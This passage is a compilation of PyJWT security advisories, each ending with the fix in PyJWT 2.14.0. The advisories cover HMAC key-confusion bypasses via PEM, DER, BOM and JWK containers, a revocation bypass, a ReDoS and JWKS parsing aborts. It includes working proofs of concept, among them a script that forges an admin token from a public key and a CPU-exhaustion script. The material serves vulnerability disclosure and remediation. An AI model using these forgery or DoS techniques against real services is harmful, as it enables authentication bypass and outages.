`enforce_minimum_key_length` (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS. ##### Maintainer update — 2026-09-10 We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by `is_pem_format`, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token. The fix is committed as `8b4e233a22206b34ec1186e912e75c0b2396ac07`. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy. Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 9.1 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffc3-869f-jxw9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102268](https://nvd.nist.gov/vuln/detail/CVE-2026-102268) - [https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07](https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-ffc3-869f-jxw9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: Non-canonical signature segments enable raw-token revocation bypass [CVE-2026-102269](https://nvd.nist.gov/vuln/detail/CVE-2026-102269) / [GHSA-hxm8-2xgr-2p9m](https://github.com/advisories/GHSA-hxm8-2xgr-2p9m) / PYSEC-2026-4147 <details> <summary>More information</summary> #### Details ##### Summary PyJWT 2.13.0 accepts compact JWS signature segments containing characters that are not in the Base64URL alphabet. Appending `!!!!` to a valid signature does not change the decoded signature bytes or authenticated claims, but it changes the serialized token and its SHA-256 hash. An application that indexes logout or revocation state by the raw token therefore rejects the logged-out token and accepts its no-key alternate serialization. This report separates two issues: permissive compact-JWS decoding is the library behavior, while using raw serialized JWT text as a security identity is a dangerous application composition. A `jti`-indexed control blocks both representations. ##### Affected Version Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the signature segment and requires no signing key. ##### End-to-End Reproduction ```bash .venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py ``` The loopback-only lab performs: 1. Issue a valid HS256 admin token. 2. Access `/protected` successfully. 3. Log out the canonical token and store `SHA256(raw_token)`. 4. Confirm canonical replay returns HTTP 401. 5. Append `!!!!` to only the signature segment. 6. Confirm the mutated token has the same verified claims and signature bytes, a different raw hash, and receives HTTP 200. 7. Repeat with `jti`-indexed revocation and confirm both forms return HTTP 401. Observed statuses for raw-token revocation were `200 -> logout -> 401` for the canonical token and `200` for the alternate serialization. The `jti` control returned `401` for both replays after logout. ##### Security Boundaries and Severity This is not signature forgery: the attacker starts with a valid token and cannot alter its claims. Impact requires a consumer to bind revocation, replay state, rate limits, or cache identity to the raw compact string. Under that composition, an authenticated user can bypass logout or token-specific revocation without the signing key. Medium is suggested for triage because the security impact is real but application-dependent. ##### Recommended Fix - Reject signature segments containing characters outside `[A-Za-z0-9_-]`. - Reject padding and other non-canonical Base64URL encodings for compact JWS. - Add regression tests proving malformed signature encodings fail before or during verification. - Document that applications must use a semantic identifier such as `jti`, not the raw serialized token, for revocation and replay state. ##### Maintainer update — 2026-09-09 We reproduced the reported behavior on the verified `master` commit `8915570`: appending `!!!!` to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags `2.4.0`, `2.8.0`, `2.10.1`, `2.12.1`, and `2.13.0`. The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as `jti` for token identity. The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet. ##### Maintainer update — 2026-09-09 The fix has been rebased onto the current `master` as `e6f48401001609a8f99e71fcaf355fb895d508a8` and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as `!!!!` is rejected before verification. Valid detached `b64=false` handling remains supported. Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and `git diff --check` passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished. ##### Classification update — 2026-09-10 We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering. These metadata changes do not alter the affected range, fix status, or lifecycle state. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 4.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-hxm8-2xgr-2p9m](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-hxm8-2xgr-2p9m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102269](https://nvd.nist.gov/vuln/detail/CVE-2026-102269) - [https://github.com/jpadilla/pyjwt/commit/e6f48401001609a8f99e71fcaf355fb895d508a8](https://github.com/jpadilla/pyjwt/commit/e6f48401001609a8f99e71fcaf355fb895d508a8) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-hxm8-2xgr-2p9m) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: ReDoS vulnerability when calling the `is_pem_format` function. [CVE-2026-102270](https://nvd.nist.gov/vuln/detail/CVE-2026-102270) / [GHSA-jwrc-g2q2-pq5p](https://github.com/advisories/GHSA-jwrc-g2q2-pq5p) / PYSEC-2026-4148 <details> <summary>More information</summary> #### Details ##### Summary There is a Re-DoS vulnerability in the `is_pem_format` function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate. ##### Details The problem is that the lazy quantifier `.+?` will always first try to match as little as possible until it finds a `---- END`. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of `----BEGIN CERTIFICATE-----` lines and no `---- END` line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a `---- END` line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²). ##### PoC ```python import time import re BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n" _PEMS = { b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY", b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY", b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY", b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST", b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY", b"X509 CRL", } _PEM_RE = re.compile( b"----[- ]BEGIN (" + b"|".join(_PEMS) + b""")[- ]----\r? .+?\r? ----[- ]END \\1[- ]----\r?\n?""", re.DOTALL, ) def is_pem_format(key: bytes) -> bool: return bool(_PEM_RE.search(key)) def make_payload(num_headers: int) -> bytes: return BEGIN_LINE * num_headers def measure(num_headers: int) -> float: payload = make_payload(num_headers) start = time.perf_counter() is_pem_format(payload) # returns False, but burns CPU getting there elapsed = time.perf_counter() - start print( f" headers={num_headers:>4} size={len(payload)//1024:>3} KB" f" time={elapsed*1000:>7.1f} ms" ) return elapsed for n in (1000, 2000, 4000, 8000): measure(n) ``` ##### Impact The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable. ##### Maintainer update (2026-09-10): We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version. #### Severity - CVSS Score: 4.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jwrc-g2q2-pq5p) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102270](https://nvd.nist.gov/vuln/detail/CVE-2026-102270) - [https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07](https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwrc-g2q2-pq5p) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard [CVE-2026-102271](https://nvd.nist.gov/vuln/detail/CVE-2026-102271) / [GHSA-p4g4-x82p-q773](https://github.com/advisories/GHSA-p4g4-x82p-q773) / PYSEC-2026-4149 <details> <summary>More information</summary> #### Details ##### Summary `HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret. An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding. The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM. ##### Details The guard is at `jwt/algorithms.py:331`: ```python if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) ``` Both helpers are text matchers. Neither one parses the key. - `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`. - `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes. A DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret. There is no DER handling anywhere in the package. `grep -rni "\bDER\b|load_der" jwt/ tests/` returns nothing. This affects three encodings that are all blocked in their PEM form today: - DER SubjectPublicKeyInfo - DER PKCS#1 - DER encoded X.509 certificate History of this guard: - Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH. - Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents. - DER has never been covered. Applications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path. Suggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected. ##### PoC Tested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well. ```console pip install "pyjwt==2.13.0" cryptography python poc.py ``` No special configuration is needed. The script builds its own key. ```python import base64 import hashlib import hmac import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key() pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo) der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1) def b64(raw): return base64.urlsafe_b64encode(raw).rstrip(b"=") def forge(secret): # The attacker does not use PyJWT. They only need the public key bytes. head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) body = b64(json.dumps({"user": "admin", "role": "admin"}).encode()) signing_input = head + b"." + body sig = hmac.new(secret, signing_input, hashlib.sha256).digest() return (signing_input + b"." + b64(sig)).decode() ##### PEM form is rejected, as expected since CVE-2022-29217. try: jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"]) except jwt.exceptions.InvalidKeyError as exc: print("PEM rejected:", exc) ##### Same key, DER form. The forged token verifies. print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"])) print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"])) ``` Output: ``` PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s DER SPKI accepted: {'user': 'admin', 'role': 'admin'} DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'} ``` The token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes. We also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR. ##### Impact Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217. Who is affected: applications that verify tokens with an asymmetric public key, also list an HS\* algorithm pass that public key to `jwt.decode` as DER bytes. What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first. What limits it: the application must already be in the mixed HS\* and RS\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected. > Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102271](https://nvd.nist.gov/vuln/detail/CVE-2026-102271) - [https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499](https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-p4g4-x82p-q773) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT BOM Bypass [CVE-2026-102272](https://nvd.nist.gov/vuln/detail/CVE-2026-102272) / [GHSA-r6x4-923q-g947](https://github.com/advisories/GHSA-r6x4-923q-g947) / PYSEC-2026-4150 <details> <summary>More information</summary> #### Details ##### Affected Package - **Package**: PyJWT (`pyjwt` on PyPI) - **Repository**: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - **Affected version**: 2.13.0 - **Vulnerability class**: Algorithm confusion / patch bypass --- ##### Root Cause PyJWT 2.13.0 introduced a guard in `HMACAlgorithm.prepare_key()` (file `jwt/algorithms.py`, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526. The guard uses `bytes.lstrip()` before calling `startswith(b"{")`: ```python stripped = key_bytes.lstrip() # strips ASCII whitespace only if stripped.startswith(b"{"): # JWK detection ... raise InvalidKeyError("The specified key is an asymmetric key...") ``` `bytes.lstrip()` with no argument removes only bytes in the ASCII whitespace set (`\x20 \t \n \r \x0b \x0c`). A UTF-8 BOM prefix (`\xef\xbb\xbf`) is not stripped, so `stripped.startswith(b"{")` returns `False` for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret. --- ##### PoC Sketch (pseudocode — not a weaponized payload) ```python ##### 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint) ##### and prepends a UTF-8 BOM byte sequence before the JSON opening brace. ##### 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret. ##### 3. Attacker submits the forged token to a verifier that: ##### - accepts algorithms=["HS256", "RS256"] ##### - holds the same RSA public key as raw bytes (BOM-prefixed key file) ##### 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK ##### detection check to be skipped — the RSA JWK bytes become a valid HMAC key. ##### Result: arbitrary claims (role, sub, etc.) accepted by the verifier. ``` --- ##### Impact An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (`algorithms=["HS256", "RS256"]` or equivalent). The resulting impact is complete authentication and authorization bypass (`C:H/I:H`). Attack Complexity is High (`AC:H`) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (`PR:N`). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable. --- ##### Suggested Fix **Option A (minimal)**: Replace `lstrip()` with an explicit strip of known BOM prefixes before the JSON detection check: ```python ##### Strip common BOM prefixes in addition to ASCII whitespace BOM_PREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff") stripped = key_bytes for bom in BOM_PREFIXES: if stripped.startswith(bom): stripped = stripped[len(bom):] break stripped = stripped.lstrip() ``` **Option B (more robust)**: Use `json.loads()` as the detection mechanism instead of a byte-prefix check, so encoding variants and whitespace are handled by the JSON parser: ```python try: test_obj = json.loads(key_bytes.strip()) if isinstance(test_obj, dict) and "kty" in test_obj: raise InvalidKeyError("The specified key is an asymmetric key...") except (ValueError, UnicodeDecodeError): pass ``` Option B is preferred because it is resilient to any future encoding variant. --- ##### Maintainer update — 2026-09-09 We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound `PyJWK` controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy. The fix is committed as `180783930de91876bc0d601f826a1f2956057291`. `HMACAlgorithm.prepare_key()` now checks parsed JSON objects for `kty` across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases. The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit `180783930de91876bc0d601f826a1f2956057291`. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results. The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning. ##### Classification update — 2026-09-10 We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-r6x4-923q-g947](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-r6x4-923q-g947) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102272](https://nvd.nist.gov/vuln/detail/CVE-2026-102272) - [https://github.com/jpadilla/pyjwt/commit/180783930de91876bc0d601f826a1f2956057291](https://github.com/jpadilla/pyjwt/commit/180783930de91876bc0d601f826a1f2956057291) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r6x4-923q-g947) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT accepts public JWK containers as HMAC secrets [CVE-2026-102273](https://nvd.nist.gov/vuln/detail/CVE-2026-102273) / [GHSA-w2cx-738m-mc7w](https://github.com/advisories/GHSA-w2cx-738m-mc7w) / PYSEC-2026-4151 <details> <summary>More information</summary> #### Details ##### Summary PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level `kty` member. ##### Impact An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously: * allows both HS* and asymmetric algorithms; * passes raw public JWK/JWKS JSON as `key=`; and * uses that same value as the HMAC secret. This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance. ##### Fix status The fix is on `master` in commit `801cd12` (`fix: reject public JWK container HMAC keys`). `HMACAlgorithm.prepare_key` now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte. The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings. The affected range is `= 2.13.0`. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release. ##### Reporter credit Credit: Charles Vosburgh / Trilobyte. ##### Original report The original report and reproduction package are retained in the private advisory record. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102273](https://nvd.nist.gov/vuln/detail/CVE-2026-102273) - [https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95](https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w2cx-738m-mc7w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set [CVE-2026-102274](https://nvd.nist.gov/vuln/detail/CVE-2026-102274) / [GHSA-w6j9-cwv2-h6wq](https://github.com/advisories/GHSA-w6j9-cwv2-h6wq) / PYSEC-2026-4152 <details> <summary>More information</summary> #### Details ##### Summary A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because `RSAAlgorithm.from_jwk` can raise a plain `ValueError` that isn't caught by `PyJWKSet`'s per-key error-skipping logic. ##### Affected component / version - Package: `PyJWT` (PyPI, ecosystem `pip`) - Files: `jwt/api_jwk.py` (`PyJWK.__init__`, `PyJWKSet.__init__`), `jwt/algorithms.py` (`RSAAlgorithm.from_jwk`) - Confirmed present in the `master` branch as of 2026-09-05 (commit `7144e4534c34810f4525dc4578a32addd8212cff`, tag `2.13.0`). Directly verified identical in tags `2.9.0`, `2.10.0`, `2.11.0`, `2.12.0`, `2.12.1`, `2.13.0` -- the vulnerable call and the `except PyJWTError` guard are unchanged across all six releases. Not verified against any release prior to `2.9.0`. ##### Details `PyJWKSet.__init__` (`jwt/api_jwk.py:145-152`) iterates each key in a JWK Set: ```python for key in keys: try: self.keys.append(PyJWK(key)) except PyJWTError as error: if isinstance(error, MissingCryptographyError): raise error # skip unusable keys continue ``` `PyJWK.__init__` (`api_jwk.py:82`) calls `self.Algorithm.from_jwk(self._jwk_data)` with no try/except of its own. For an RSA JWK, this dispatches to `RSAAlgorithm.from_jwk` (`jwt/algorithms.py:539-586`). When the JWK supplies `d`, `e`, `n` without the CRT parameters (`p`, `q`, `dp`, `dq`, `qi`), `from_jwk` calls `cryptography`'s `rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e)` (`algorithms.py:572-574`) to derive the key. If `d` is not the correct private exponent for that `n`/`e` pair, `rsa_recover_prime_factors` raises a plain `ValueError`. `ValueError` is a built-in Python exception and is not a subclass of `jwt.exceptions.PyJWTError` (`PyJWTError(Exception)` is the root of PyJWT's own exception hierarchy). It is therefore not caught by `PyJWKSet.__init__`'s `except PyJWTError`, and propagates out of the constructor, aborting the `for key in keys:` loop before any subsequent key in the list is processed. `PyJWKSet.from_dict`/`from_json` and `PyJWK.from_dict`/`from_json` are exported public API (`jwt/__init__.py`). `PyJWKClient.get_jwk_set` (`jwt/jwks_client.py:158`) feeds a fetched JWKS HTTP response directly into `PyJWKSet.from_dict` with no per-key pre-validation, so this is reachable through the documented `PyJWKClient` flow whenever the fetched JWKS contains a malformed key alongside valid ones. ##### Proof of concept ```python import jwt good_jwk = { "kty": "RSA", "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>", "e": "AQAB", } bad_jwk = { "kty": "RSA", "n": good_jwk["n"], "e": "AQAB", "d": 